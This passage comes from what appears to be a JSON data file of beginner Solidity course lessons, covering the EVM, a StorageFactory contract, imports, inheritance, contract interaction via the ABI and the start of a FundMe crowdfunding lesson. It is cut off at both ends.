Coining Yourself As A Solidity Developer\n\nBy deploying and interacting with your smart contract, you can confidently call yourself a solidity developer. Remember, every developer's journey comes with constant learning curves, so don’t stop here. Keep exploring and experimenting with Solidity and of course keep learning with the next lessons.", + "updates": [] + }, + { + "lessonId": "61efb7c8-e936-47de-8e49-dc8814b31ff6", + "number": 10, + "title": "Section recap", + "slug": "evm-recap", + "folderName": "10-evm-recap", + "description": "A recap of the section, emphasizing the understanding and workings of the Ethereum Virtual Machine (EVM) and its compatibility with various blockchains. The lesson revisits the essentials of writing a smart contract, types and structures in Solidity, functions, data locations, and the importance of continued learning in Solidity development.", + "duration": 3, + "videoUrl": "3ziv44zKK011WjfKUpny6pnAA601ifajZKsbasEW2evHw", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/10-evm-recap/+page.md", + "markdownContent": "---\ntitle: Recap & Congratulations\n---\n\n*Follow along with the course here.*\n\n\n\n\n\n\n## Working with Ethereum Virtual Machine (EVM)\n\nOne term that frequently comes up when talking about deploying code onto a blockchain network is \"EVM,\" which stands for `Ethereum Virtual Machine`. Now, the EVM might seem like a complex term, but essentially it's a standard for how to compile and deploy smart contracts to a blockchain.\n\nFor anyone interacting with the blockchain space, particularly those deploying smart contracts, understanding the basic functioning and application of the Ethereum virtual machine is invaluable.\n\n\n\n## EVM Compatible Blockchains\n\nAny smart contract or solidity code you write can be deployed to any blockchain that is compatible with the EVM. Prime examples of such blockchains and Layer 2 solutions include **Ethereum**, **Polygon**, **Arbitram**, **Optimism**, and **Zksync**. Even though a blockchain, such as Zksync, might be EVM-compatible, it's critical to ensure that all keywords are compatible as some do not work with every EVM-compatible blockchain.\n\n\n\n\nNow that we've understood the basics of EVM and its deployment, let's dive into the nitty-gritty of writing your solidity code for smart contracts.\n\n## Writing Your First Smart Contract\n\nAt the start of any smart contract or Solidity code you write, always mention the version you want to work with. Right above the version, insert the SPDX license Identifier. If you're unsure about the version to use, you can default to the *MIT license* for the time being.\n\nHere's an example:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity >=0.7.0 <0.9.0;[...]\n```\n\nNext, you need to create what is known as a contract object. This contract object constitutes the basic structure of your smart contract. A `contract` in Solidity is somewhat similar to a class in other programming languages, where anything inside the curly brackets `{'{'}...{'}'}` forms part of that contract.\n\n## Types and Structures\n\nSolidity supports multiple types like `uint256`, `string`, `boolean`, `int`, and others. Further, Solidity also allows for the creation of custom types using a feature known as a `struct`.\n\nThough this language might seem foreign, take solace in the fact that Solidity, like other programming languages, supports the creation of arrays (or lists), and mappings (akin to dictionaries or hash tables). As a quick reference, if you provide a key to your mapping, you'll receive the variable associated with that key.\n\n## Functions and Behavior\n\nThe real magic happens when we start creating functions in Solidity that can modify the state of the blockchain. In addition, we can create functions that are \"read-only\", meaning they don’t modify the blockchain’s state - these are known as `view` and `pure` functions.\n\n## Data Locations and Memory\n\nWe can specify different data locations in our parameters. Notice that this only applies to particular types like strings, structs, and arrays. The terms `calldata` and `memory` are used to denote temporary variables that exist only for the duration of a function call. On the other hand, `storage` variables are permanent and remain in the contract forever.\n\nAn important caveat is that function parameters can't be `storage` variables, as they will only exist for the duration of the function call.\n\n## Conclusion\n\nWhen we compile our smart contract, it essentially compiles our Solidity code down to EVM-compatible bytecode (machine-readable code). We will delve into these specifications in later posts.\n\nBut for now, congratulations on making your first step toward creating a contract on the blockchain! Go reward yourself with some ice-cream, an extra cup of coffee, or anything else you fancy. Happy coding!\n", + "updates": [] + } + ] + }, + { +"sectionId": "bef84d21-e135-4171-bbc1-ac4275da456a", + "number": 2, + "title": "Storage Factory", + "slug": "storage-factory", + "folderName": "2-storage-factory", + "lessons": [ + { + "lessonId": "5fabb153-8853-4b94-9984-d15dfe6501a5", + "number": 1, + "title": "Storage factory introduction", + "slug": "factory-introduction", + "folderName": "1-factory-introduction", + "description": "Introduction to deploying and interacting with contracts, focusing on Remix Storage Factory. The lesson involves working with 'SimpleStorage.sol', 'AddFiveStorage.sol', and 'StorageFactory.sol', demonstrating how other contracts can deploy and interact with new contracts.", + "duration": 4, + "videoUrl": "DQzQrGEcP01z1XkK96EBqt01MFopa01qbOIb14qkRH3Jhc", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/1-factory-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n*If you'd like, you can follow along with the course here.*\n\n\n\nWelcome back to our developer tutorial series! We've made our way to lesson three, where we'll dive deeper into the world of contracts, by discussing their deployment and interaction abilities. As always, all the resources for this session can be found in the [Github Repo](https://github.com/Cyfrin/foundry-full-course-f23#lesson-3-remix-storage-factory). For this lesson, we'll focus on the Remix Storage Factory.\n\n\n## What To Expect in This Lesson\n\nIn this session, we'll be working with three new contract files, namely:\n\n1. `SimpleStorage.sol` - we'll be working with a slightly modified version of this Smart Contract,\n2. `AddFiveStorage.sol` - a completely new one for this lesson,\n3. `StorageFactory.sol` - our main character for this lesson.\n\nOur `StorageFactory.sol` will serve as a workshop, creating and deploying new Simple Storage contracts. It's crucial to note that other contracts can indeed deploy new contracts. Beyond deployment, our storage factory will also interact with these freshly minted contracts.\n\n## Diving Deeper Into the Code\n\nBefore we delve into writing code, let's visualize how this whole thing works. We'll take you through these steps with the help of the Remix VM, let's take a look to the main functions we are going to work with.\n\n```js\ncontract simplestorage {\n function createSimpleStorageContract() public {};\n function sfStore(uint256 _simpleStorageIndex, uint256 _simpleStorageNumber) public {};\n function sFGet(uint256 _simpleStorageIndex) public view returns (uint256) {}\n }\n```\n\nFollow along:\n\n1. Compile our code and deploy to the Remix VM.\n2. Scroll down to choose 'storage factory' from the contract selection.\n3. Now we have deployed this contract.\n\nThe first function is `createSimpleStorageContract()`. We'll trigger this and see a new transaction appear. This transaction shows us deploying a Simple Storage contract from our Storage Factory contract.\n\nAs a bonus, we can interact with our Simple Storage contract via the `Store` function. This function accepts a favorite number input. Let's test this by using the `sfStore` function from our Storage Factory contract. We'll enter `0` as the index for our Simple Storage contract (as we've only deployed one so far), and we'll say our new favorite number is `123`. We'll execute `sfStore` and voila!\n\nNow type `sFGet(0)`, we'll retrieve the favorite number 123 we stored earlier.\n\n\n## Wrapping Up\n\nAside from the storage factory, this lesson is also about introducing you to critical Solidity features such as imports and inheritance. But remember this is just a introduction, we are going to dive on how this contracts works step by step on the next lessons.", + "updates": [] + }, + { + "lessonId": "cd198711-c9ff-44fa-825f-3ca72733a5d9", + "number": 2, + "title": "Setting the project", + "slug": "setting-up-the-factory", + "folderName": "2-setting-up-the-factory", + "description": "This lesson explores the concept of composability in smart contracts, particularly in DeFi, and introduces the 'StorageFactory' contract that interacts with and deploys the 'SimpleStorage' contract. It covers setting up the StorageFactory contract in Remix and emphasizes the importance of version consistency in Solidity.", + "duration": 6, + "videoUrl": "EOBi900bPdfkGM6q1RHussQYVTjECssypDODFRUrTgII", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/2-setting-up-the-factory/+page.md", + "markdownContent": "---\ntitle: Setting up\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\n## What is Composability in Smart Contracts?\n\n\n\n\nOne of the key aspects of blockchain development is the seamless and permissionless interaction among contracts, referred to as composability. This becomes especially important in decentralized finance (DeFi), where intricate financial products interact compatibly using the same smart contract interface.\n\nIn this lesson, we'll be creating a contract titled `StorageFactory` that will interact with and deploy our existing `SimpleStorage` contract.\n\n## Setting Up the StorageFactory Contract\n\nCreating our new contract in Remix follows the same steps we've previously covered. The power of repetition is indeed vastly underrated — and this principle will hold even more merit when we begin working with AI pair programming tools.\n\nThe primary structure of every Solidity smart contract begins with the SPDX License Identifier and the desired version of Solidity expressed as a pragma statement.\n\n```js\n// SPDX-License-Identifier: MITpragma solidity ^0.8.18;\n```\n\nNext, we'll define our contract:\n\n```dart\ncontract StorageFactory {}\n```\n\nOnce your contract is defined, remember to hit `Compile` The caret sign `(^)` before the solidity version implies that any version greater than or equal to 0.8.18 is acceptable.\n\n## Creating and Deploying the SimpleStorage Contract\n\nThe StorageFactory contract needs to deploy a SimpleStorage contract. For it to do this, the StorageFactory contract should know and understand what the SimpleStorage contract is and how it works.\n\nOne way to ensure this is by placing the SimpleStorage contract code within the same file as the StorageFactory. This can be done by copying the SimpleStorage code and pasting it above the StorageFactory contract but below the pragma solidity line.\n\n```dart\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract SimpleStorage {SimpleStorage code here}\n\ncontract StorageFactory {}\n```\n\nThis option does allow for successful compilation, and both contracts can exist within the same file. However, this isn't best practice, especially with larger projects where multiple contracts in a single file can cause confusion and difficulty in code navigation. As a best practice, each contract should reside in its own file.\n\nWhen deploying contracts, if you select Remix VM and scroll down to the `Choose Contract` section, you'll notice that both contracts (SimpleStorage and StorageFactory) appear if the StorageFactory.sol file is open.\n\n\n\nNext, in our StorageFactory.sol file, we'll create a function - `createSimpleStorageContract` that can deploy the SimpleStorage contract.\n\nThe journey of harnessing the full potential of Solidity across these lessons is both challenging and exciting, stay tuned for more updates.\nHappy coding!\n\n", + "updates": [] + }, + { + "lessonId": "4e6c8899-247a-480a-9893-1b4d15cbd6b1", + "number": 3, + "title": "Deploying a contract from a contract", + "slug": "deploying-a-contract-from-a-contract", + "folderName": "3-deploying-a-contract-from-a-contract", + "description": "The chapter focuses on deploying a Simple Storage contract in Solidity and saving it to a storage or state variable. It covers the syntax for creating a Simple Storage contract within another contract and demonstrates the deployment and interaction process in Remix.", + "duration": 3, + "videoUrl": "MgFDg37Nw6l27D9AJt4VXznQv00HBu3SBmWHk2Dk334w", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/3-deploying-a-contract-from-a-contract/+page.md", + "markdownContent": "---\ntitle: Deploying a Contract from a Contract (Factory)\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\nThis chapter covers the process of deploying a Simple Storage contract in Solidity by saving it to a storage or state variable. This will be implemented similarly to saving any variable.\n\n## Understanding the Syntax\n\nLet's begin by recalling an example of assigning a variable: `uint256 public favoriteNumber`. This follows the format `type visibility name`. In our case, we are going to do the exact same thing.\n\nThe type of a Simple Storage contract will be `SimpleStorage`. The contract keyword here is similar to the Struct keyword, allowing us to create a new type.\n\n\n\n\nIt is important to point out a syntax frequently used in Solidity and can be confusing for beginners: `SimpleStorage simpleStorage;`. The difference between `SimpleStorage` on the left and `simpleStorage` on the right lies in the case sensitivity. `Simple Storage` refers to the contract type while `simpleStorage` refers to the variable name.\n\n\n\n\nYou will often find programmers naming the variable the same way as the contract itself.\n\n## Creating A Simple Storage Contract\n\nWe will go ahead and identify our contract in our `createSimpleStorageContract()` function. To do this, we will assign `simpleStorage = new SimpleStorage();`. Solidity knows to deploy a contract when we use the `new` keyword.\n\nThis code should now succesfully compile. We can proceed to deploy it. Ensure that you are on the storagefactory.sol on the right-hand side, then scroll down to the contract. Now, you should be able to deploy the `StorageFactory`.\n\n## Testing The Deployment\n\nAfter hitting the deploy button, you can observe the transaction visibility in the terminal. You will notice two buttons: a blue `View Function` button, which is there because the public keyword automatically gives the variable name a getter function, and an orange `createSimpleStorageContract` button that corresponds to the transaction.\n\nIf we call the `createSimpleStorageContract` and then call `SimpleStorage` blue view function, the address that appears verifies that our `SimpleStorage` contract has been deployed.\n\n\n\n\nAnd just like that, you now know how to have a contract deploy another contract. Congratulations on tackling this important aspect of smart contract programming in Solidity. Despite the often subtle and sometimes confusing notation, the process itself is fairly straightforward. Familiarity comes with practice, so keep working with contracts and making deployments!", + "updates": [] + }, + { + "lessonId": "2160e3d9-a66b-4f67-a5b8-bb759d5d9e10", + "number": 4, + "title": "Solidity imports", + "slug": "solidity-imports", + "folderName": "4-solidity-imports", + "description": "This lesson covers the use of the 'import' statement in Solidity for organizing contract files, managing Solidity versions, and the advanced method of 'named imports'. It demonstrates how importing improves workflow and allows for selective inclusion of contract elements.", + "duration": 6, + "videoUrl": "DuspE4PMGeoLl400cRPLTGPDeihTguMS4us3vUfeWwbA", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/4-solidity-imports/+page.md", + "markdownContent": "---\ntitle: Solidity Imports\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\nIn this lesson, we will look at a more improved way of organizing your Solidity contract files using the `import` statement, making the task of making any changes in your contract files much simpler. We’ll also address potential issues around consistency in Solidity version between multiple files, and we'll focus primarily on the more advanced import method called `named imports` that you should always use.\n\n## The Immaculate Import\n\nMost programmers are familiar with the concept of import – it's like adding a new tool to your toolbox, allowing you to use code from different files without cluttering your current project file. In Solidity, this is no different.\n\nLet's say we are dealing with two contract files: `SimpleStorage.sol` and `StorageFactory.sol`. Prior to using `import`, you would have to constantly copy-paste your contents of `SimpleStorage.sol` into `StorageFactory.sol` and vice-versa if any changes are made. If you're thinking that's too much work, then you are absolutely right!\n\nInstead, you can just use the `import` statement:\n\n```js\nimport \"./SimpleStorage.sol\";\n```\n\nWith this single line of code, you can effortlessly incorporate `SimpleStorage.sol` into `StorageFactory.sol`, drastically improving your workflow. It's as good as planting the entire `SimpleStorage.sol` within `StorageFactory.sol`, but without the mess.\n\n## Manage Your Solidity Versions\n\nWith multiple contracts in place, a word of caution: be wary of the versions of Solidity you're using. This is crucial because while Remix will automatically adjust the version upwards to ensure compatibility (e.g., bumping `0.8.16` to `0.8.18`), going the other direction can lead to compile errors. Ensuring that you are consistent with your version of Solidity is vital for smooth compiling of all your contracts.\n\n## Named Imports: Your New Best Friend\n\nAlthough the import statement brings a breath of fresh air into your code organization, diving a little deeper will reveal a even better way of handling imports - the named imports.\n\nImagine `SimpleStorage.sol` has multiple contract files (`SimpleStorage2`, `SimpleStorage3`, `SimpleStorage4`) which are quite extensive in size.\n\n```js\nimport \"./simplestorage.sol\"\n```\n\nUsing this statement will import everything from `SimpleStorage.sol`, including all the bulky contract files, leading to a far more expensive deployment of the `StorageFactory.sol`.\n\nHere's where named imports come into play. Named imports allow you to cherry pick the exact contracts you need:\n\n```js\nimport { SimpleStorage } from \"./SimpleStorage.sol\";\n```\n\nEven if your `SimpleStorage.sol` has other contracts, named imports allow you to just import what you need (`SimpleStorage`), thus avoiding any unecessary imports.\n\nIf you need multiple contracts, named imports have got you covered:\n\n```js\nimport { SimpleStorage, SimpleStorage2 } from \"./SimpleStorage.sol\";\n```\n\nNow, this will only import `SimpleStorage` and `SimpleStorage2`, without bringing in any other possibly gargantuan contracts present in your `SimpleStorage.sol` file.\n\nBy sticking to named imports, you're not just making your future coding lives simpler, but you're also staying ahead of the curve. Incredibly, just by employing named imports, you're setting yourself apart, ahead of 80% of current Solidity developers.\n\n## Wrapping Up\n\nNow we've explored a more effective way of managing our Solidity contract files through the use of import statements, understood the need for solidity version management, and learned how to go one step further with named imports. Congratulations, you're now more equipped to organize your code, manage multiple contract files, and make your Solidity programming more efficient and tidy.\n\nRemember, in coding and in life, always aim to be incredibly efficient, even if that means being a little lazy.", + "updates": [] + }, + { + "lessonId": "ce675e0a-d6e9-4d32-8201-2882b2c8ef5d", + "number": 5, + "title": "Use AI to help pt.1", + "slug": "ai-help-developing-coding", + "folderName": "5-ai-help-ii", + "description": "The lesson discusses utilizing AI chat platforms like ChatGPT and Bard to assist in understanding programming concepts. It emphasizes the importance of formulating questions effectively for AI platforms and provides guidance on using these tools for coding assistance.", + "duration": 4, + "videoUrl": "dqTiKRtS8sWJPXZ9mgCNXD0211QcDAgXLvVP5iH14N9M", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/5-ai-help-ii/+page.md", + "markdownContent": "---\ntitle: 5-ai-help-ii\n---\n\n\n\n\nWe've all been there. Staring blankly at a line of code and scratching our heads, trying to make sense of it. Sometimes a new concept or technique can trip us up. And it's not really surprising—the world of programming and technology is vast and constantly evolving and, sooner or later, we're bound to hit a roadblock.\n\nBut fret not. Because AI is here to save the day. More specifically, AI chat platforms like **ChatGPT** and **Bard**. They can be a helpful resource to gain clarity when we're navigating the rocky terrain of programming.\n\nHowever, remember that 'how' you ask questions can significantly impact the clarity and effectiveness of the answers.\n\n## Ask Questions the Right Way\n\nLet's say you come across a line of code and can't quite understand the difference between two instances of `SimpleStorage`. Here's how you can formulate a question for the AI:\n\n1. Open ChatGPT or any other AI chatbot platform you prefer.\n2. Start with a simple and straightforward query like:\n \n `\"Hi, I'm having a hard time understanding the difference between these simple storages on this line.\"`\n3. Highlight **only the line** you're confused about and copy it.\n4. Paste this line of code within your question in a block format. In markdown, you can create a block by adding three backticks `\"`````\"` before and after the block of text or code.\n\n```\n ```\n // paste your line of code here\n ```\n```\n\nThis signifies that it is a block of code and makes it easier for the AI to understand.\n\n5. If your code is small enough, you can paste the **entire code** as well, but remember to mark it as a code block too. Some AI may struggle to handle large amounts of code, so try to be as concise as possible.\n \n Here's an example of how it would look:\n\n```\nHi, I'm having a hard time understanding the difference between these simple storages on this line:\n```\n\n```\n```// paste the confusing line of code here```\n```\n\n```\nHere is my full code:\n```\n\n```\n```// paste the full code here```\n```\n\n\nNow, just hit \"Send\" and let the AI do its magic!## Interpreting AI Responses\n\n\n\n\nThe AI can provide insightful answers to help unravel the mysteries of your code. For instance, with the `SimpleStorage` example, an AI may indicate that \"simple storage is a variable of type simple storage, which is a contract defined in simple storage.sol\". If all goes well, this should help clarify any doubts you might have. \n\n> \"A lot of this beginner basic stuff AIS are really good at. As we get more and more advanced, AIs are going to start breaking apart. But at least for the beginning, AIs are going to be incredibly helpful and incredibly good at explaining a lot.\"From the basic to the more advanced stuff, you can lean on the AI chat as a \"learning buddy\".\n\n## Not Always Right\n\nDespite their overwhelming benefits, remember that AI chat platforms are not infallible. They can, and do, get things wrong or misunderstood sometimes. When that happens, don't lose hope! You can engage other platforms like [Stack Exchange](https://ethereum.stackexchange.com/), or the discussion forums related to the course or topic you're studying.For instance, when querying about `SimpleStorage`, an AI response might refer to a 'stored data variable', which doesn't exist in the code you provided. Don't panic! It's just an example of how AI's often work on context-based inference and may sometimes link to unrelated concepts.\n\nStay patient, stay curious, and keep learning!\n", + "updates": [] + }, + { + "lessonId": "85b888f4-25c2-43e2-bece-6cfd3a09183b", + "number": 6, + "title": "Interacting with contracts ABI", + "slug": "interacting-with-smart-contracts-abi", + "folderName": "6-interacting-with-contracts-abi", + "description": "This lesson teaches how to keep track of contract addresses when deploying new contracts using Solidity's 'new' keyword. It introduces the concept of ABI (Application Binary Interface) for contract interaction and demonstrates how to interact with contracts using ABI and address in Solidity.", + "duration": 10, + "videoUrl": "gef1j01mhlA01Jc3K1DwsC02brjAifuN02VNxdBKf00E66UE", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/6-interacting-with-contracts-abi/+page.md", + "markdownContent": "---\ntitle: Interacting with Contracts ABI\n---\n\n\n\nLet's assume that every time we call `createSimpleStorageContract()`, we're deploying a new Simple Storage Contract. But there's a catch – we're not keeping track of all the addresses that this simple storage contract is being deployed to. Let's fix that.\n\n### Solution: A Running List of Contracts\n\nA better approach is to transform our variable into a list or an array of Simple Storage Contracts. This way, whenever a contract is created, it gets added to our list. Renaming the new list as `listOfSimpleStorageContracts` gives us a dynamic array for contract storage.\n\n```dart\n SimpleStorage[] public listOfSimpleStorageContracts;\n```\n\nNow, whenever a new contract is deployed, it gets pushed to this dynamic array.\n\n```js\nfunction createSimpleStorageContract() public {\n SimpleStorage simpleStorageContractVariable = new SimpleStorage();\n listOfSimpleStorageContracts.push(simpleStorageContractVariable);\n }\n```\n\nOnce compiled and deployed you will be able to interact with the contract like so:\n\n```js\nStorageFactory storageFactory = new StorageFactory();\nstorageFactory.createSimpleStorageContract();\n```\n\nOn the deployed contract, you should be able to access `listOfSimpleStorageContracts` which now has a `uint256` input allowing you to choose the index of the variable to interact with.\n\n\n### Interacting with Smart Contracts\n\nOur `StorageFactory` contract can be considered as the manager of all the Simple Storage Contracts. Up next, we'll discuss how our `StorageFactory` contract can call the `store` function of the simple storage that it deploys. To make this happen, we create a function called SF Store.\n\n```js\nfunction sfStore(uint _simpleStorageIndex, uint _simpleStorageNumber) public {...}\n```\n\nWhenever you interact with another contract, you need two things – an address and the ABI (Application Binary Interface). A simple rule of thumb to remember is ABI and address are key for contract interaction. The ABI works like a user manual, guiding code interaction with other contracts.\n\nIf you go to Solidity's compile tab and scroll down, you will find a button to copy the ABI to clipboard. This ABI provides compilation details and helps define how to interact with the contract.\n\nEssentially, the buttons you see upon deploying a contract are the same as the ones you see inside the ABI. The presence and quantity of buttons is determined by the ABI.\n\n\n\n\nIn our case, the ABI is automatically known to the compiler because the compiler generates it for Solidity. We also know the address because we have a list of all of them. Now, with the ABI and the address at our disposal, we can interact with other contracts with ease.\n\nLet's use the `SFstore` function to store a new number on one of those simple storage contracts using the index in our array:\n\n```js\nlistOfSimpleStorageContracts[_simpleStorageIndex].store(\n _simpleStorageNumber\n );\n```\n\nIt is also possible to retrieve the stored value from our Simple Storage contract:\n\n```js\nfunction sfGet(uint256 _simpleStorageIndex) public view returns (uint256) {\n // return SimpleStorage(address(simpleStorageArray[_simpleStorageIndex])).retrieve();\n return listOfSimpleStorageContracts[_simpleStorageIndex].retrieve();\n }\n```\n\nAfter compiling these newly added features and deploying the contract, you will be able to interact with your contract in the expected manner:\n\n\n\nIn conclusion, we have built a contract `StorageFactory` that creates `SimpleStorage` contracts and allows for interaction (saving and retrieving data) with these contracts. As a final touch, we can simplify the `SfGet` and `sfStore` functions as below:\n\n```js\n function sfStore(\n uint256 _simpleStorageIndex,\n uint256 _simpleStorageNumber\n ) public {\n \n listOfSimpleStorageContracts[_simpleStorageIndex].store(\n _simpleStorageNumber\n );\n }\n```\n\nBy leveraging the capacities of the Solidity language, we can construct and manage a dynamic array of contracts, and interact with them seamlessly. Keep exploring and happy coding!\n\n\n", + "updates": [] + }, + { + "lessonId": "f8e837c4-c9c8-4a26-925a-f82d341ea7e4", + "number": 7, + "title": "Inheritance in Solidity", + "slug": "inheritance-in-solidity-smart-contracts", + "folderName": "7-inheritance-in-solidity", + "description": "An introduction to inheritance and overriding in Solidity, showcasing how to extend the functionality of a contract without duplicating it. The lesson involves creating a new contract 'addFiveStorage.sol' that inherits from 'SimpleStorage.sol' and overrides its functions.", + "duration": 7, + "videoUrl": "ITGrwcwBZxmpF7JKMXbww4I9qLQDWoaBSfcfnCMDLAw", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/7-inheritance-in-solidity/+page.md", + "markdownContent": "---\ntitle: Inheritance in Solidity\n---\n\n\n\n\nIn past lessons, we have been using a simple storage contract designed to store a user's favorite number. While we understand that it's amazing, what if we want to expand its functionality a bit?\n\nSuppose we want our contract to not only store users favorite numbers but also to add five to each favorite number stored. We could duplicate the entire contract and make changes to the new version, but as an efficient programmer, I'd say we should look for a smarter way to achieve this functionality.\n\nIn this blog, we are going to get introduced to inheritance and overriding in Solidity — two concepts that offer cleaner, clearer, and more reusable code.\n\nLet's create a new file for our enhanced contract and label it `addFiveStorage.sol`. We will again include the [SPDX license identifier](https://spdx.org/licenses/MIT.html) and specify the Solidity version.\n\nA typical new contract would look like this:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract AddFiveStorage {}\n```\n\n### Leveraging Inheritance\n\nAs much as we are tempted to copy-paste all of our prior contract's content into the new `addFiveStorage.sol`, we will resist the temptation. This is where inheritance comes into play.\n\nInheritance allows `AddFiveStorage` contract to be a child contract of the `SimpleStorage` contract. Hence, `AddFiveStorage` will be able to perform all tasks performed by `SimpleStorage` and even more.\n\nFirst, we import `SimpleStorage.sol` into `addFiveStorage.sol` using Solidity's named imports:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\nimport \"./SimpleStorage.sol\";\n\ncontract AddFiveStorage is SimpleStorage {}\n```\n\nThe `is` keyword indicates inheritance, demonstrating the relationship between `AddFiveStorage` and `SimpleStorage`. After successful compilation and deployment, you will notice that `AddFiveStorage` has the same buttons as `SimpleStorage` because it inherited all of `SimpleStorage`'s functionality.\n\n### Implementing Overriding\n\nOverriding allows us to customize functions in `AddFiveStorage.sol` that have already been defined in `SimpleStorage.sol`.\n\nTake a look at the following code snippet:\n\n```js\nfunction store(uint256 _newFavNumber) public {}\n```\n\nIf we attempt to compile this, an error will occur saying there is an overriding function without an override specifier.\n\n> *Type error: Overriding function is missing \"override\" specifier.*\n\nTo resolve this, add the `override` keyword:\n\n```js\nfunction store(uint256 _newFavNumber) public override {// function body}\n```\n\nYet, another error will pop up:\n\n> *CompileError: Trying to override a non-virtual function.*\n\nTo solve this, we will have to mark the `store` function in `SimpleStorage.sol` as `virtual`, allowing it to be overridable:\n\n```js\nfunction store(uint256 favNumber) public virtual {// function body}\n```\n\nNow back to `AddFiveStorage.sol`, let's add our preferred functionality to the `store` function:\n\n```js\nfunction store(uint256 _newFavNumber) public override {\n favoriteNumber = _newFavNumber + 5;\n }\n```\n\nSo, we have used inheritance to adopt code from the `SimpleStorage` contract, and we have overridden the `store` function to customize its functionality.\n\n\n### Wrapping Up\n\nAfter deploying your new contract and attempting to store the number `2`, you will find that the stored number, upon retrieving, will be `7`. This confirms that our `store` function in `AddFiveStorage` contract is overriding the `store` in `SimpleStorage` as is adding `5` to each number stored.\n\nAs demonstrated in this lesson, taking advantage of inheritance and overriding not only simplifies our work but also harnesses the power of OOP in Solidity. Happy coding!", + "updates": [] + }, + { + "lessonId": "87b15470-d532-41fc-93e6-05277b0a79b1", + "number": 8, + "title": "Sections summary and recap", + "slug": "summary-and-recap", + "folderName": "8-summary-and-recap", + "description": "A summary and recap of the lessons covering deploying contracts using the 'new' keyword, importing contracts, named imports, interacting with contracts using ABI, and contract inheritance in Solidity. The lesson celebrates progress made and encourages continued learning.", + "duration": 2, + "videoUrl": "utS4t02WF004mvL6fUU9lXJ1w3wOYEio2l5C005TTD4BhY", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/8-summary-and-recap/+page.md", + "markdownContent": "---\ntitle: Summary and Recap\n---\n\n\n\n\n## Deploying contracts using new keyword\n\nOne of the initial things we explored is how to deploy contracts from other contracts using the `new` keyword. Solidity enables us to clone existing contracts and produce new ones on the fly. This feature allows developers to deploy multiple instances of a contract without manually copy-pasting code – a handy tool, particularly for applications with multiple contract instances.\n\n## Importing other contracts\n\nBeyond deploying contracts from within contracts, Solidity also equips us with the capability to import other contracts. Essentially, importing contracts is equivalent to copying and pasting the code into a file. This feature enhances reusability and modularity of code. A sample of importing contracts can be represented as:\n\n```js\nimport './myOtherContract.sol';\n```\n\n## Named Imports\n\nIn the journey of mastering Solidity, we also encountered the nifty concept of 'Named Imports'. Named imports can help make your code more organized and easier to read. They're going to elevate your coding game and make you shine among other Solidity devs out there.\n\n```js\nimport { Contract as MyContract } from './myOtherContract.sol';\n```\n\n## Interacting with contracts\n\nSolidity enables interaction with other contracts, given that we have the contract's address and its Application Binary Interface (ABI). In our tutorial, we realized that the `simple storage` type conveniently provides both the address and the ABI, simplifying our interaction with it.\n\n```js\nSimpleStorage storage = SimpleStorage(address);\nuint256 storedData = storage.retrieve();\n```\n\nAs of now, we haven't delved too much regarding ABIs. However, in subsequent sections, we will explore more about ABIs\n\n## Contract Inheritance\n\nSolidity also offers a powerful feature in the form of contract inheritance. If you want to create a child contract and inherit the features of another contract, import the parent contract and use the `is` keyword.\n\nTo override a function of the base class, the `override` keyword is used. But the base (parent) class must tag the function we want to override with the `virtual` keyword. The syntax can be represented as below:\n\n```js\nimport './BaseContract.sol';\ncontract ChildContract is BaseContract {\n function foo() public override { Override functionality here}\n }\n```\n\n\n\n### Celebrating Progress\n\nAnd that's it! You've made it to the end of this section. By now, you've acquired some potent capabilities in Solidity. So take a moment to give yourself a resounding pat on the back! Embrace a well-deserved break because taking mental pauses is good for your cognitive health. Go for a walk, indulge in a cup of coffee or some ice cream, or better yet, share your achievements with your friends be it in person or across the world via social media.\n\nRemember, each stride you make in mastering Solidity is a significant one. So be sure to celebrate these crucial little wins that keep you excited and fuel your curiosity.\n\nKeep learning, keep coding, and above all, keep pushing the boundaries.\n\n*Congratulations! You have successfully completed Lesson 3 of the Solidity Course.*", + "updates": [] + } + ] + }, + { +"sectionId": "6f3abd80-e461-4abd-9e21-03d93d5da5ba", + "number": 3, + "title": "Fund Me", + "slug": "fund-me", + "folderName": "3-fund-me", + "lessons": [ + { + "lessonId": "972a84be-9bff-4730-8c17-3a75979eeef1", + "number": 1, + "title": "Fund me introduction", + "slug": "fund-me-intro", + "folderName": "1-fund-me-intro", + "description": "Introduction to decentralized crowdfunding contract 'FundMe.sol', allowing users to send native blockchain cryptocurrency, with the owner being able to withdraw the funds. The lesson covers deploying on a testnet and handling transactions in Ethereum, Polygon, or Avalanche.", + "duration": 4, + "videoUrl": "A49NlkiPpsO02KKDZkBu00ytxHf4EqRgavkNBTVbIFBcw", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/1-fund-me-intro/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n*Follow along the course with this video.*\n\n\n\n\nHello everyone, I’m glad to have you back with us for Lesson 4 in our Web3 Development series. This time we’re diving headfirst into **FundMe.sol**, our very own decentralized crowdfunding contract.\n\n## Breaking Down The Contracts\n\nIn this lesson, we'll be creating one main contract - **FundMe.sol**. However, we'll also use another file called **PriceConverter.sol** which we will discuss later.\n\n\n\nOur **FundMe contract** is a perfect example of a crowdfunded project. Think of it as your very own decentralized `Kickstarter`, where users can send any native blockchain cryptocurrency. It allows the owner of the contract to withdraw all the funds collected for their new project. It is designed so that it can be deployed on a **testnet**. \n\n\n\n\n\nOnce deployed, you will see a set of buttons along with a new **red button** named **Fund**. The red button is a giveaway that the function is payable where you can send native Ethereum, Polygon, Avalanche, or any other native blockchain currency.\n\n\n**Remember**: Fund function is payable. You can send native Ethereum, Polygon, Avalanche, or any other native blockchain currency.\n\nTo transfer funds, navigate to the **value section** of the contract user interface then hit 